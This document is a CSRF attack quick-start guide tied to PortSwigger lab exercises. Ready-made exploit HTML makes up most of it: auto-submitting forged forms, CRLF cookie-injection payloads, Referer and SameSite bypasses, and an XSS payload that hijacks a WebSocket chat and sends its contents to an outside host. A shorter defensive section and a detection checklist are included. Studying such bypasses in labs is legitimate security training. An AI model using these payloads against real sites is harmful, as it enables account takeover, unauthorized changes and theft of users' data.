# CSRF Attack Quick Start Guide

## What is CSRF?

**Cross-Site Request Forgery (CSRF)** forces an authenticated user's browser to perform unwanted actions on a web application. The attacker tricks the victim into submitting a malicious request using their existing session.

**Impact**: Account takeover, unauthorized transactions, data modification, administrative abuse

## Quick Identification

### 1. Check for CSRF Tokens
```http
POST /change-email HTTP/1.1
Cookie: session=abc123

email=new@email.com
```
**Vulnerable**: No `csrf` parameter present

### 2. Test Token Validation
- Change token to invalid value → Still works? **Vulnerable**
- Remove token entirely → Still works? **Vulnerable**
- Use another user's token → Still works? **Vulnerable**

### 3. Check HTTP Methods
```bash
# Try converting POST to GET
GET /change-email?email=new@email.com
```
Works? **Vulnerable to method-based bypass**

### 4. Check Referer Validation
- Remove Referer header → Works? **Vulnerable**
- Change Referer to `https://evil.com?legitimate-domain.com` → Works? **Vulnerable (substring match)**

## Basic CSRF Exploit Template

```html
<html>
  <body>
    <form method="POST" action="https://target.com/change-email">
      <input type="hidden" name="email" value="attacker@evil.com">
      <input type="hidden" name="csrf" value="TOKEN-IF-NEEDED">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

## Common Bypass Techniques

### 1. Method-Based Bypass (Lab 2)
**Vulnerability**: Only POST validates CSRF token

```html
<!-- Use GET instead -->
<form action="https://target.com/change-email">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>
```

### 2. Token Not Tied to Session (Lab 3)
**Vulnerability**: Any valid token works for any user

1. Get your own CSRF token
2. Use it to attack other users

```html
<form method="POST" action="https://target.com/change-email">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf" value="YOUR-TOKEN">
</form>
<script>document.forms[0].submit();</script>
```

### 3. Token in Cookie (Lab 4)
**Vulnerability**: Token validates against separate `csrfKey` cookie + CRLF injection exists

```html
<form method="POST" action="https://target.com/change-email">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf" value="fake">
</form>
<!-- Inject matching cookie -->
<img src="https://target.com/?search=test%0d%0aSet-Cookie:%20csrfKey=fake%3b%20SameSite=None" onerror="document.forms[0].submit();">
```

### 4. Double Submit Cookie (Lab 5)
**Vulnerability**: Token just compared: `cookie == parameter`

```html
<form method="POST" action="https://target.com/change-email">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="csrf" value="fake">
</form>
<img src="https://target.com/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();">
```

### 5. Token Validation When Present (Lab 6)
**Vulnerability**: Validation only if token exists

```html
<!-- Just omit the token! -->
<form method="POST" action="https://target.com/change-email">
  <input type="hidden" name="email" value="attacker@evil.com">
  <!-- No csrf parameter at all -->
</form>
<script>document.forms[0].submit();</script>
```

### 6. Referer Validation When Present (Lab 7)
**Vulnerability**: Validation only if Referer exists

```html
<html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <form method="POST" action="https://target.com/change-email">
      <input type="hidden" name="email" value="attacker@evil.com">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
```

### 7. Broken Referer Validation (Lab 8)
**Vulnerability**: Substring match on Referer

```html
<html>
  <head>
    <meta name="referrer" content="unsafe-url">
  </head>
  <body>
    <form method="POST" action="https://target.com/change-email">
      <input type="hidden" name="email" value="attacker@evil.com">
    </form>
    <script>
      history.pushState("", "", "/?target.com");
      document.forms[0].submit();
    </script>
  </body>
</html>
```

### 8. SameSite Strict via Redirect (Lab 9)
**Vulnerability**: Client-side redirect with path traversal + SameSite=Strict + no tokens

```html
<script>
  document.location = "https://target.com/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40attacker.com%26submit=1";
</script>
```

### 9. SameSite Strict via Sibling Domain (Lab 10)
**Vulnerability**: XSS on sibling subdomain + WebSocket without CSRF protection

```html
<script>
var payload = `<script>
var ws = new WebSocket('wss://target.com/chat');
ws.onopen = function() { ws.send('READY'); };
ws.onmessage = function(event) {
    fetch('https://collaborator.com', {
        method: 'POST',
        mode: 'no-cors',
        body: event.data
    });
};
<\/script>`;

document.location = "https://cms-target.com/login?username=" + encodeURIComponent(payload) + "&password=x";
</script>
```

### 10. SameSite Lax via Method Override (Lab 11)
**Vulnerability**: `_method` parameter + SameSite=Lax

```html
<script>
  document.location = "https://target.com/change-email?email=pwned@attacker.com&_method=POST";
</script>
```

## Burp Suite Workflow

### Step 1: Intercept Request
1. **Proxy > Intercept**: Turn on
2. Submit form in browser
3. Capture POST request

### Step 2: Test in Repeater
1. Right-click request → "Send to Repeater"
2. Test variations:
   - Invalid token
   - Missing token
   - Different HTTP method (right-click → "Change request method")
   - Modified/removed Referer header

### Step 3: Generate PoC
**Burp Professional:**
1. Right-click request → "Engagement tools" → "Generate CSRF PoC"
2. Click "Options" → Enable "Include auto-submit script"
3. Click "Regenerate"
4. Copy HTML

**Burp Community:**
- Manually create HTML form (see templates above)

### Step 4: Test with Exploit Server
1. Paste HTML into "Body" field
2. Click "Store"
3. Click "View exploit" to test
4. Click "Deliver exploit to victim"

## Detection Checklist

| Test | Command/Action | Vulnerable If |
|------|---------------|---------------|
| **Token present?** | Check POST body | No `csrf` parameter |
| **Token validated?** | Change to `csrf=invalid` | Request succeeds |
| **Token required?** | Remove `csrf` parameter | Request succeeds |
| **Session-bound?** | Use different user's token | Request succeeds |
| **Method validated?** | Change POST to GET | Request succeeds |
| **Referer checked?** | Remove Referer header | Request succeeds |
| **Referer parsed?** | Set to `evil.com?target.com` | Request succeeds |
| **SameSite set?** | Check Set-Cookie header | No SameSite attribute |
| **Method override?** | Try `?_method=POST` in GET | Request succeeds |

## Common CRLF Injection Payloads

```
# Basic injection
?search=test%0d%0aSet-Cookie:%20csrf=fake

# With SameSite bypass
?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None

# URL encoding reference
%0d = \r (carriage return)
%0a = \n (line feed)
%20 = space
%3b = semicolon (;)
```

## Defense Quick Reference

### Secure CSRF Token Implementation
```python
# Generate
token = secrets.token_urlsafe(32)
session['csrf_token'] = token

# Validate
def validate_csrf(request, session):
    token = request.form.get('csrf')
    if not token:
        return False
    if token != session.get('csrf_token'):
        return False
    return True
```

### Secure Cookie Configuration
```
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
```

### Secure Referer Validation
```python
from urllib.parse import urlparse

referer = request.headers.get('Referer')
if not referer:
    return False

parsed = urlparse(referer)
if parsed.hostname != expected_domain:
    return False
```

## Quick Command Reference

### Burp Suite
```
# Keyboard shortcuts
Ctrl+R     = Send to Repeater
Ctrl+I     = Send to Intruder
Ctrl+Shift+B = Base64 encode
Ctrl+Shift+U = URL encode

# Repeater actions
Right-click → "Change request method"
Right-click → "Change body encoding"
```

### Testing Script
```python
import requests

# Test CSRF vulnerability
def test_csrf(url, cookie):
    # Without token
    r = requests.post(url,
        data={'email': 'test@test.com'},
        cookies={'session': cookie})
    return r.status_code == 200

# Test with different methods
def test_methods(url, cookie):
    methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH']
    for method in methods:
        r = requests.request(method, url,
            data={'email': 'test@test.com'},
            cookies={'session': cookie})
        if r.status_code == 200:
            print(f"[!] {method} works without CSRF token")
```

## URL Encoding Reference

| Character | Encoded | Usage |
|-----------|---------|-------|
| Space | `%20` | Cookie injection |
| `!` | `%21` | - |
| `"` | `%22` | Attribute escaping |
| `#` | `%23` | Fragment |
| `&` | `%26` | Keep as one parameter |
| `'` | `%27` | Attribute escaping |
| `;` | `%3b` | Cookie separator |
| `<` | `%3c` | XSS payload |
| `>` | `%3e` | XSS payload |
| `?` | `%3f` | Query string |
| `@` | `%40` | Email addresses |
| CR | `%0d` | CRLF injection |
| LF | `%0a` | CRLF injection |

## Lab Quick Reference

| Lab # | Difficulty | Bypass Technique | Key Payload |
|-------|------------|------------------|-------------|
| 1 | Apprentice | None (no protection) | Basic form |
| 2 | Practitioner | Change POST to GET | GET request |
| 3 | Practitioner | Use attacker's token | Any valid token |
| 4 | Practitioner | Cookie injection | CRLF + csrfKey |
| 5 | Practitioner | Cookie injection | CRLF + csrf |
| 6 | Practitioner | Omit token | No csrf param |
| 7 | Practitioner | Remove Referer | `no-referrer` meta |
| 8 | Practitioner | Referer substring | `history.pushState` |
| 9 | Practitioner | Client-side redirect | Path traversal |
| 10 | Expert | Sibling domain XSS | XSS + WebSocket |
| 11 | Practitioner | Method override | `_method=POST` |

## Troubleshooting

### Exploit doesn't work
- [ ] Check session cookie is valid
- [ ] Use unique email address (not duplicate)
- [ ] Verify lab ID in URL matches current instance
- [ ] Check JavaScript console for errors
- [ ] Ensure proper URL encoding
- [ ] Test with "View exploit" first

### Token issues
- [ ] Get fresh token (many are single-use)
- [ ] Check if token tied to session (use your own token)
- [ ] Verify token parameter name matches exactly
- [ ] Confirm token not expired

### Cookie injection fails
- [ ] Verify CRLF encoding: `%0d%0a`
- [ ] Check semicolon encoding: `%3b`
- [ ] Add `SameSite=None` for cross-site
- [ ] Ensure injection point exists (search, etc.)

### SameSite bypass issues
- [ ] Use Chrome/Chromium browser
- [ ] For Lax: Use top-level navigation (`document.location`)
- [ ] For Strict: Use same-site gadget (redirect/XSS)
- [ ] Check cookie attributes in response headers

## Resources

- **PortSwigger Academy**: https://portswigger.net/web-security/csrf
- **OWASP CSRF Cheat Sheet**: https://cheatsheetsecurity.org/cheatsheets/cross-site-request-forgery-prevention-cheat-sheet.html
- **Complete Lab Guide**: See `csrf-portswigger-labs-complete.md`

## Practice Tips

1. **Start simple**: Begin with Lab 1, understand basics
2. **Use Repeater**: Test manually before creating exploits
3. **Read responses**: Error messages reveal validation logic
4. **Try everything**: Test all methods, headers, parameters
5. **Document findings**: Note what works and why
6. **Chain attacks**: Combine with XSS, CRLF injection, etc.
7. **Understand defenses**: Learn why bypasses work
8. **Test real apps**: Apply skills to bug bounty programs

## Quick Win Checklist

For a new target, test in this order:

1. ✓ Submit form and capture request
2. ✓ Check if CSRF token exists
3. ✓ If token exists, try removing it
4. ✓ Try changing POST to GET
5. ✓ Try different user's token
6. ✓ Test Referer header manipulation
7. ✓ Check for method override parameters
8. ✓ Look for cookie injection points
9. ✓ Check SameSite cookie attributes
10. ✓ Look for same-site gadgets (redirects, XSS)

Most vulnerabilities will be found in steps 1-6!
